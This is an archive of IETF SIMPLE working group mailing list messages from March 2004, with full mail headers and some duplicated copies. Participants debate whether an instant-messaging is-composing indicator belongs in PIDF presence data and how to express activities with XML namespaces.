	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oJw-0000lW-6m
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 10:11:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26270
	for <simple@ietf.org>; Fri, 12 Mar 2004 10:11:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oJt-0002XF-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:11:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1oIx-0002Ph-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:10:31 -0500
Received: from sj-iport-1-in.cisco.com ([171.71.176.70] helo=sj-iport-1.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oI1-0002CR-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:09:33 -0500
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i2CF90aD020725;
	Fri, 12 Mar 2004 07:09:01 -0800 (PST)
Received: from cisco.com ([161.44.79.239])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGS78048;
	Fri, 12 Mar 2004 10:08:59 -0500 (EST)
Message-ID: <4051D289.70907@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 10:08:57 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Henning Schulzrinne wrote:
> 
>> Indeed, one might argue that we could just define is-composing and 
>> has-window-focus (or whatever) as pidf extensions, and just ship a 
>> pidf document in the message body. We did conclude that sending this 
>> stuff in-band in the message stream is a better idea than using a 
>> separate presence subscription. Using PIDF means that a presence agent 
>> could say something about my *general* availability for IM because of 
>> my status in an IM session I have with someone else... just a thought....
> 
> Interesting possibility. This would be a kind of parallel to the 
> draft-rosenberg-peterson-simple-pidf-phone-00 draft, just for IM-style 
> devices.

This is sort of interesting. But I do think there is an important 
difference. In presence, is-composing will presumably be generic. But in 
the context of a message session I really want is-composing to mean that 
a message is being composed for sending within this session.

Often with I see such a status I just wait for a message rather than 
sending a message myself. The status would be much less useful it it 
weren't that specific. I might be sitting there waiting for your message 
while you are busy chatting with your kids.

> Something like
> 
> <composing since="..." media="text">active</composing>
> 
> The advantage is that this would also allow to convey this easily to 
> third parties, via PIDF subscription.

So, I think the pidf extension would be useful in any case, but it might 
not be the right thing here.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 12 10:24:33 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27488
	for <simple-archive@ietf.org>; Fri, 12 Mar 2004 10:24:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oWY-00049q-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 10:24:34 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1oVd-00043l-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 10:23:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oV9-0003x2-00; Fri, 12 Mar 2004 10:23:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oV3-0004FZ-EQ; Fri, 12 Mar 2004 10:23:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oUf-00046w-OT
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 10:22:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27432
	for <simple@ietf.org>; Fri, 12 Mar 2004 10:22:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oUd-0003wJ-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:22:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1oTi-0003pi-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:21:39 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oT3-0003ix-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:20:57 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2CFKeNB021053;
	Fri, 12 Mar 2004 10:20:40 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i2CFKUC17557;
	Fri, 12 Mar 2004 10:20:30 -0500
Message-ID: <4051D53E.7010509@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com>
In-Reply-To: <4051CD87.9040107@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 10:20:30 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


> 
> OK, except I see "has focus" as being orthogonal to is-composing, so I'd 
> think you'd want both.

My assumption was that composing implied focus, but not vice versa. How 
could I compose without window focus?


>> Something like
>>
>> <composing since="..." media="text">active</composing>
>>
>> The advantage is that this would also allow to convey this easily to 
>> third parties, via PIDF subscription.
> 
> 
> Yes, that was the idea.
> 
> I'm on the fence on this one. The state is really dynamic, and its not 
> clear how useful for me, or anyone else, it would be to know that you 
> are currently typing an IM to someone else. Indeed, its far from clear 
> that even if I did know, would this impact your availability to receive 
> another IM? Not clear.
> 
> Another question is authorization. Do we ever think anyone would 
> authorize a third party to see their is-typing indicators? Or that we 
> would expect a PUA to publish them to a PA?
> 
> Another drawback is that the pidf document is larger than a simpler 
> is-composing format, though not by much I suppose.

At this point, since there don't seem to be compelling advantages and 
given Paul's subsequent note on the importance of a per-session nature 
of this indication, maybe expediency and making-progress argue for 
sticking to the minimal notification variation.



> 
> -Jonathan R.
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 12 10:25:04 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27516
	for <simple-archive@odin.ietf.org>; Fri, 12 Mar 2004 10:25:04 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oWb-0004PQ-P8
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 10:24:37 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2CFObXu016948
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 10:24:37 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oWb-0004PH-Ff
	for simple-web-archive@optimus.ietf.org; Fri, 12 Mar 2004 10:24:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27502
	for <simple-web-archive@ietf.org>; Fri, 12 Mar 2004 10:24:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oWY-00049v-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 10:24:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1oVe-00043s-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 10:23:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oV9-0003x2-00; Fri, 12 Mar 2004 10:23:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oV3-0004FZ-EQ; Fri, 12 Mar 2004 10:23:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oUf-00046w-OT
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 10:22:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27432
	for <simple@ietf.org>; Fri, 12 Mar 2004 10:22:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oUd-0003wJ-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:22:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1oTi-0003pi-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:21:39 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oT3-0003ix-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:20:57 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2CFKeNB021053;
	Fri, 12 Mar 2004 10:20:40 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i2CFKUC17557;
	Fri, 12 Mar 2004 10:20:30 -0500
Message-ID: <4051D53E.7010509@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com>
In-Reply-To: <4051CD87.9040107@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 10:20:30 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


> 
> OK, except I see "has focus" as being orthogonal to is-composing, so I'd 
> think you'd want both.

My assumption was that composing implied focus, but not vice versa. How 
could I compose without window focus?


>> Something like
>>
>> <composing since="..." media="text">active</composing>
>>
>> The advantage is that this would also allow to convey this easily to 
>> third parties, via PIDF subscription.
> 
> 
> Yes, that was the idea.
> 
> I'm on the fence on this one. The state is really dynamic, and its not 
> clear how useful for me, or anyone else, it would be to know that you 
> are currently typing an IM to someone else. Indeed, its far from clear 
> that even if I did know, would this impact your availability to receive 
> another IM? Not clear.
> 
> Another question is authorization. Do we ever think anyone would 
> authorize a third party to see their is-typing indicators? Or that we 
> would expect a PUA to publish them to a PA?
> 
> Another drawback is that the pidf document is larger than a simpler 
> is-composing format, though not by much I suppose.

At this point, since there don't seem to be compelling advantages and 
given Paul's subsequent note on the importance of a per-session nature 
of this indication, maybe expediency and making-progress argue for 
sticking to the minimal notification variation.



> 
> -Jonathan R.
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Sat Mar 13 21:18:36 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11850
	for <simple-archive@ietf.org>; Sat, 13 Mar 2004 21:18:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LD3-0004db-00
	for simple-archive@ietf.org; Sat, 13 Mar 2004 21:18:37 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LCD-0004Zd-00
	for simple-archive@ietf.org; Sat, 13 Mar 2004 21:17:46 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LBH-0004VZ-00; Sat, 13 Mar 2004 21:16:47 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LAY-0004ut-MF; Sat, 13 Mar 2004 21:16:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LAG-0004uG-0c
	for simple@optimus.ietf.org; Sat, 13 Mar 2004 21:15:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11759
	for <simple@ietf.org>; Sat, 13 Mar 2004 21:15:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LAD-0004QO-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:15:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2L9I-0004Md-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:14:44 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2L96-0004IP-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:14:32 -0500
Received: from bear.cs.columbia.edu (IDENT:FkiwdY2vNz0Avtg/9y0FfaY2kXL/aM7e@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2E2DoNC015322
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Sat, 13 Mar 2004 21:13:51 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2E2DnfG026691
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Sat, 13 Mar 2004 21:13:50 -0500
Message-ID: <4053BFD6.9090603@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Anders Kristensen <akristensen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: activity namespaces [was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)]
References: <4041F046.7050207@dynamicsoft.com> <40435F39.6060904@dynamicsoft.com> <4045C823.4030902@cs.columbia.edu> <404E1B69.9010102@dynamicsoft.com>
In-Reply-To: <404E1B69.9010102@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 13 Mar 2004 21:13:42 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

> I rather like Ander's suggestion of having the content of the activity 
> element be another element, which has no value and whose name is the 
> actual activity. Then, you can use XML namespaces to get what you want.

It's a bit messy, but I'll modify this to allow

<activities>
   <activity>sleeping</activity>
   <activity>vacation</activity>
   <si:activity>REM</si:activity>
</activity>

(where si is the namespace owned by your neighborhood sleep institute)

Multiple activities can occur primarily by composition. This is probably 
only likely if there are <relationship> tuples involved, but there might 
be other cases where activity information is derived from multiple sources.

Given that this is somewhat messy, I'm reluctant to do the same thing 
for <placetype> and <privacy>, but if somebody insists...


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Sat Mar 13 21:19:12 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11874
	for <simple-archive@odin.ietf.org>; Sat, 13 Mar 2004 21:19:12 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LDB-00051d-9g
	for simple-archive@odin.ietf.org; Sat, 13 Mar 2004 21:18:45 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2E2IjgM019311
	for simple-archive@odin.ietf.org; Sat, 13 Mar 2004 21:18:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LDB-00051O-1O
	for simple-web-archive@optimus.ietf.org; Sat, 13 Mar 2004 21:18:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11868
	for <simple-web-archive@ietf.org>; Sat, 13 Mar 2004 21:18:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LD8-0004eK-00
	for simple-web-archive@ietf.org; Sat, 13 Mar 2004 21:18:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LCE-0004Zu-00
	for simple-web-archive@ietf.org; Sat, 13 Mar 2004 21:17:47 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LBH-0004VZ-00; Sat, 13 Mar 2004 21:16:47 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LAY-0004ut-MF; Sat, 13 Mar 2004 21:16:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LAG-0004uG-0c
	for simple@optimus.ietf.org; Sat, 13 Mar 2004 21:15:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11759
	for <simple@ietf.org>; Sat, 13 Mar 2004 21:15:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LAD-0004QO-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:15:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2L9I-0004Md-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:14:44 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2L96-0004IP-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:14:32 -0500
Received: from bear.cs.columbia.edu (IDENT:FkiwdY2vNz0Avtg/9y0FfaY2kXL/aM7e@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2E2DoNC015322
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Sat, 13 Mar 2004 21:13:51 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2E2DnfG026691
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Sat, 13 Mar 2004 21:13:50 -0500
Message-ID: <4053BFD6.9090603@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Anders Kristensen <akristensen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: activity namespaces [was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)]
References: <4041F046.7050207@dynamicsoft.com> <40435F39.6060904@dynamicsoft.com> <4045C823.4030902@cs.columbia.edu> <404E1B69.9010102@dynamicsoft.com>
In-Reply-To: <404E1B69.9010102@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 13 Mar 2004 21:13:42 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

> I rather like Ander's suggestion of having the content of the activity 
> element be another element, which has no value and whose name is the 
> actual activity. Then, you can use XML namespaces to get what you want.

It's a bit messy, but I'll modify this to allow

<activities>
   <activity>sleeping</activity>
   <activity>vacation</activity>
   <si:activity>REM</si:activity>
</activity>

(where si is the namespace owned by your neighborhood sleep institute)

Multiple activities can occur primarily by composition. This is probably 
only likely if there are <relationship> tuples involved, but there might 
be other cases where activity information is derived from multiple sources.

Given that this is somewhat messy, I'm reluctant to do the same thing 
for <placetype> and <privacy>, but if somebody insists...


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Sat Mar 13 21:20:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11929
	for <simple-archive@ietf.org>; Sat, 13 Mar 2004 21:20:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LF2-0004pH-00
	for simple-archive@ietf.org; Sat, 13 Mar 2004 21:20:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LEC-0004l0-00
	for simple-archive@ietf.org; Sat, 13 Mar 2004 21:19:48 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LDT-0004g9-00; Sat, 13 Mar 2004 21:19:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LDQ-000520-KI; Sat, 13 Mar 2004 21:19:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LD4-00051E-Bu
	for simple@optimus.ietf.org; Sat, 13 Mar 2004 21:18:38 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11844
	for <simple@ietf.org>; Sat, 13 Mar 2004 21:18:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LD1-0004dR-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:18:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LC7-0004Yv-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:17:39 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LBA-0004UN-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:16:40 -0500
Received: from bear.cs.columbia.edu (IDENT:aN1jmlQs0KtGVRzasaVb8DnCWDmKADys@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2E2GJNC015470
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Sat, 13 Mar 2004 21:16:19 -0500 (EST)
